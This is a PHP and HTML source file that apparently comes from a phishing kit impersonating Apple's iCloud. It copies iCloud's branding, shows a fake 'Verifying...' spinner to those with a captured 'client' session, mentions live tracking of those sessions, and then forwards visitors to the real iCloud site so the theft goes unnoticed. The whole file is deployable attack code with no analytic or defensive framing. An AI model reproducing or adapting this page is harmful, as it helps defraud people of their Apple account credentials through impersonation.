<?php
session_start();
error_reporting(0);
require_once('../config.php');

if (!isset($_SESSION['client'])) {
    header("Location: https://www.icloud.com/");
    exit();
}

// Clear client session from live tracking if desired, 
// but we keep the session active for the redirect delay
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <link rel="icon" type="image/x-icon" href="https://www.icloud.com/favicon.ico">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>iCloud</title>
  <link rel="stylesheet" media="all" href="https://www.apple.com/wss/fonts/?families=SF+Pro,v3" type="text/css">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --bg:           #ffffff;
      --bg-card:      rgb(255, 255, 255);
      --text:         #1d1d1f;
    }
    @media (prefers-color-scheme: dark) {
      :root {
        --bg:           hsl(240,3.4%,11.4%);
        --bg-card:      hsl(240,3.4%,11.4%);
        --text:         #f5f5f7;
      }
    }
    body {
      font-family: "SF Pro Text", "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      background: var(--bg);
      color: var(--text);
      min-height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
      flex-direction: column;
      text-align: center;
    }
    .processing-spinner {
      border: 4px solid rgba(0, 113, 227, 0.1);
      border-top: 4px solid #0071e3;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
      margin: 40px auto;
    }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    
    .modal-title {
      font-family: "SF Pro Display", -apple-system, sans-serif;
      font-size: 22px;
      font-weight: 600;
      text-align: center;
      color: var(--text);
    }
  </style>
</head>
<body>
  <div class="processing-spinner"></div>
  <p class="modal-title">Verifying...</p>

  <script>
    // Redirect to official iCloud after a short delay to simulate "processing"
    setTimeout(function() {
      window.location.href = "https://www.icloud.com/";
    }, 5000);
  </script>
</body>
</html>
